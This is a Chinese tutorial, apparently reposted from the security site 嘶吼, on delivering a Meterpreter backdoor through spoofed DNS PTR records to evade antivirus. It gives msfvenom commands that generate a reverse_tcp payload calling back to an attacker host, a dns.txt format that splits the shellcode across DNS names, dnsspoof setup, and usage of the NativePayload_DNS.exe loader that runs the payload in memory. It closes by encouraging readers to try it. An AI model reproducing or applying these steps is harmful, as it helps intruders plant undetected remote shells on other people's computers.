通过DNS通信绕过杀毒软件进行木马传输

本文涉及的产品
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
简介: 本文讲的是通过DNS通信绕过杀毒软件进行木马传输,在这种技术中,我想通过DNS协议将我的后门木马从攻击者计算机种植在客户端计算机上面,因此在这种情况下,我们需要一个没有硬编码的木马或加密有效的后门代码。因为通过DNS传输,所以被杀毒软件发现的几率特别小。
本文讲的是 通过DNS通信绕过杀毒软件进行木马传输在这种技术中,我想通过DNS协议将我的后门木马从攻击者计算机种植在客户端计算机上面,因此在这种情况下,我们需要一个没有硬编码的木马或加密有效的后门代码。因为通过DNS传输,所以被杀毒软件发现的几率特别小。

为什么通过DNS传输不容易被发现呢?

因为在大部分的网络环境中,DNS通信内容不需要被硬件防火墙或者IPS/IDS等防火墙进行监控。我知道您可以使用像Snort IPS/IDS这样的设备检查DNS通信内容,不过在DNS中通过签名来防御新的木马是非常困难的,除非网络管理员亲自查看。

在这篇文章中,我想给你展示一下在网络环境中如何通过DNS请求或者响应来隐藏你的后门木马。

这种攻击的突破点在哪?

当你想使用后门木马,你往往需要通过一些协议(HTTP,DNS等等)将后门从你的主机传输到目标主机。在这种攻击方法中,我们想通过DNS通信对木马进行传输,并且在目标内存执行木马。所以攻击的突破点是:我们传输木马所在的位置,以及杀毒软件是如何进行检测的。所以,我们不会把木马放到文件系统中,而是在网络通信以及内存中,所以杀毒软件不会查杀。

不幸的是,网络流量监控以及内存监控在防御恶意代码这一方面并不能很好的进行,或者说不是每时每刻都在工作,也可能不具有IPS/IDS功能。举个例子:DNS区域中带有PTR记录以及A记录的后门。

通过DNS通信绕过杀毒软件进行木马传输

你可以看到在图片的前两行是PTR记录的meterpreter的后门代码。接下来两行PTR记录以及下一行的A记录是为后门代码重连设置时间。
如果您想绕过基于防火墙或IPS/IDS的网络DNS流量的木马检测,一个好的方法是将你的木马代码分解为具有相同类型(如PTR或其他类型)的DNS记录;另一种方法可以对你的木马进行加密,然后使用这些协议。当然选择哪一种方法取决于网络环境以及你的一些习惯。

你可以看到,在上图中,我将第一行的meterpreter代码拆分成了5个记录,因此这些记录存在的payload等于在1.1.1.0中的payload。如:

1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0

这就意味着对1.0.1.x你有5次DNS请求,然后五条DNS响应等同于请求一次1.1.1.0的响应。在客户端,你可以通过很多的工具从伪造的DNS服务器获取这些信息,但是我想使用NSLOOKUP命令通过后门获取,因为我觉得这很简单。如下图,我正在尝试使用nslookup从伪造的DNS服务器传输恶意代码到服务端。

通过DNS通信绕过杀毒软件进行木马传输

最后我使用NativePayload_DNS.exe执行这些payload,并且通过DNS通信获得了meterpreter的session。

0x01 伪造DNS服务器

在这个步骤中,你可以使用msfvenom生成meterpreter后门代码,然后将这些后门代码逐行复制到dns.txt中,然后在kali中通过DNSSpoof使用dns.txt伪造DNS服务器。

在我传输之前,我先说明一下通过msfvenom产生的exe可执行文件可以被绝大部分杀毒软件查杀。为什么我要先生成exe实验一下呢?
因为我想说明一下这种攻击方式不容易被杀毒软件发现。使用相同的payload一个产生exe一个通过DNS传输,你可以发现exe基本被杀毒软件所查杀,而通过DNS传输杀毒软件则发现不了。第一种方法,生成exe文件:

msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f exe > /root/Desktop/payload.exe

在下图,你可以看到,我生成的木马被11个杀毒软件所查杀。

通过DNS通信绕过杀毒软件进行木马传输

对于第二种方法,你应该选择的文件类型是:c。第二种方法,通过DNS传输:

msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f c > /root/Desktop/payload.txt

将payload.txt中的文件一行一行的复制到dns.txt中。下面介绍如何进行复制:
这一步对攻击来说非常重要。因为我们想通过DNS将这个文件进行传输。所以你的格式应该与下面代码形式相同:

Ipaddress “{payload}.domain.com”
1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
1.1.1.1 “0xbc0xc80x130xff0x100x08.1.com”

在这个案例中,因为我在我C#后门中设置的域名格式为“1.com”,所以我们应该在传输过程中使用这个域名或者一些其他的域名比如:"2.com","3.net","t.com",或者使用一个字符+".com"作为域名。"1.1.1.x"中的x是从0到dns.txt里面的行数的递增数,最后产生如下图:

1.1.1.0 --> payload.txt的第0行 --> “{payload0}.1.com”
1.1.1.1 -->  payload.txt的第1行 --> “{payload1}.1.com”
1.1.1.2 -->  payload.txt的第2行 --> “{payload2}.1.com”

通过DNS通信绕过杀毒软件进行木马传输

接下来就是产生dns.txt,如下图:

通过DNS通信绕过杀毒软件进行木马传输

现在,你可以在linux中使用dnsspoof工具进行DNS欺骗:如下:

通过DNS通信绕过杀毒软件进行木马传输

在第二个步骤中,我们需要一个后门对我们进行DNS传输的木马进行下载。所以我使用C#实现了这个功能,并且在我的代码中我使用nslookup.exe发送DNS请求,最后在DNS通信中得到我们传输的木马。
c#工具源码:https://github.com/DamonMohammadbagher/NativePayload_DNS

0x02 传输木马并攻击

编译完成上面的程序之后你会得到一个exe可执行文件,你可以在命令行中加上如下的参数使用它:

NativePayload_DNS.exe “Start_IpAddress” Counter “FakeDNSServer_IpAddress”
Example: C:> NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

1. Start_Ipaddress(开始Ip地址):你的PTR记录的前三位,所以这个案例中使用的是”1.1.1”

2. Counter(数量):DNS中的PTR记录的数量。这个案例中,在DNS.txt中ip是从1.1.1.0到1.1.1.33所以这个数字是34。.

3. FakeDNSServer_IpAddress(伪造的dns服务器地址):dns服务器的地址,或者攻击者伪造的dns服务器地址。所以现在我们使用192.168.1.50(kali)

在我们执行这个后门之前,在kali(192.168.1.50)中应该启动Msf的监听。
通过命令

NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

现在执行后门程序,如下图:

通过DNS通信绕过杀毒软件进行木马传输

你可以发现后门程序正在对1.1.1.x发送DNS请求,并且得到了PTR或者FQDN响应。
下图你可以看到伪造DNS服务端与客户端之间进行的通信。

通过DNS通信绕过杀毒软件进行木马传输

经过34次的请求,攻击方已经获得了meterpreter的session,并且杀毒软件并没有察觉。

通过DNS通信绕过杀毒软件进行木马传输

你可以看到我又一次成功的绕过了杀毒软件,下图是我对我的源代码进行的扫描,没有一个杀毒软件报毒。所以你可以对比一下对生成exe进行扫描的结果。

通过DNS通信绕过杀毒软件进行木马传输

在下图中,你可以看到C#源码是如何与nslookup进行工作的。

通过DNS通信绕过杀毒软件进行木马传输

最后,你可以看到我的meterpreter在tcpview工具以及putty工具呈现。

通过DNS通信绕过杀毒软件进行木马传输

通过DNS通信绕过杀毒软件进行木马传输

显然:你不能总是相信你的杀毒软件可以防御各种攻击比如将木马转移到各种网络协议当中,你的网络还有客户端都是很容易被攻击的。所以,不妨在你的环境中尝试一下这种方法,通过分享你的经历。(也许有些地方我出了问题,或者解释不对,所以欢迎指出)




原文发布时间为:2017年3月31日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
15天前
|
网络协议 网络安全 网络虚拟化
本文介绍了十个重要的网络技术术语,包括IP地址、子网掩码、域名系统(DNS)、防火墙、虚拟专用网络(VPN)、路由器、交换机、超文本传输协议(HTTP)、传输控制协议/网际协议(TCP/IP)和云计算
本文介绍了十个重要的网络技术术语,包括IP地址、子网掩码、域名系统(DNS)、防火墙、虚拟专用网络(VPN)、路由器、交换机、超文本传输协议(HTTP)、传输控制协议/网际协议(TCP/IP)和云计算。通过这些术语的详细解释,帮助读者更好地理解和应用网络技术,应对数字化时代的挑战和机遇。
56 3
|
2月前
|
数据处理 Python
Python在音频传输中的应用实例解析
Python在音频传输中的应用实例解析
|
4月前
|
网络协议 安全 网络安全
DNS服务器加密传输
【8月更文挑战第18天】
311 15
|
4月前
|
安全 Nacos 数据安全/隐私保护
【技术干货】破解Nacos安全隐患:连接用户名与密码明文传输!掌握HTTPS、JWT与OAuth2.0加密秘籍,打造坚不可摧的微服务注册与配置中心!从原理到实践,全方位解析如何构建安全防护体系,让您从此告别数据泄露风险!
【8月更文挑战第15天】Nacos是一款广受好评的微服务注册与配置中心,但其连接用户名和密码的明文传输成为安全隐患。本文探讨加密策略提升安全性。首先介绍明文传输风险,随后对比三种加密方案:HTTPS简化数据保护;JWT令牌减少凭证传输,适配分布式环境;OAuth2.0增强安全,支持多授权模式。每种方案各有千秋,开发者需根据具体需求选择最佳实践,确保服务安全稳定运行。
344 0
|
6月前
|
物联网 开发者 智能硬件
无线模块透明传输原理及过程解析
透明传输是无线模块中一种保持数据原样的传输技术,它使数据在发送和接收时不经过任何处理,确保内容一致。该过程包括配置模块为透明模式、数据通过串口发送、模块封装帧格式并通过无线信道传输,以及接收端解封装并传递给应用。这种传输方式简化开发、保证数据完整性、提高通信效率且灵活性高,常用于物联网和智能家居等领域的无线通信。
|
6月前
|
运维 内存技术
计算机网络:物理层中的数字传输系统全景概览解析
计算机网络:物理层中的数字传输系统全景概览解析
83 0
|
7月前
|
Web App开发 存储 网络协议
C/C++ 数据结构设计与应用(四):C++数据压缩与传输:从理论到实践的全景解析
C/C++ 数据结构设计与应用(四):C++数据压缩与传输:从理论到实践的全景解析
345 3
|
7月前
|
编解码 移动开发 C++
RTMP协议深度解析:从原理到实践,掌握实时流媒体传输技术
RTMP协议深度解析:从原理到实践,掌握实时流媒体传输技术
1239 0
RTMP协议深度解析:从原理到实践,掌握实时流媒体传输技术
|
域名解析 缓存 网络协议
DNS Rebinding Attack 绕过SSRF限制
DNS Rebinding Attack 绕过SSRF限制
|
存储 缓存 网络协议
基于TCP的DNS传输:实施要求
本文档是 Internet 工程任务组 (IETF) 的产品。它代表了 IETF 社区的共识。它已接受公众审查,并已获互联网工程指导小组 (IESG) 批准出版。有关 Internet 标准的更多信息,请参见 RFC 5741 的第 2 节。
730 0
基于TCP的DNS传输:实施要求

相关产品

  • 云解析DNS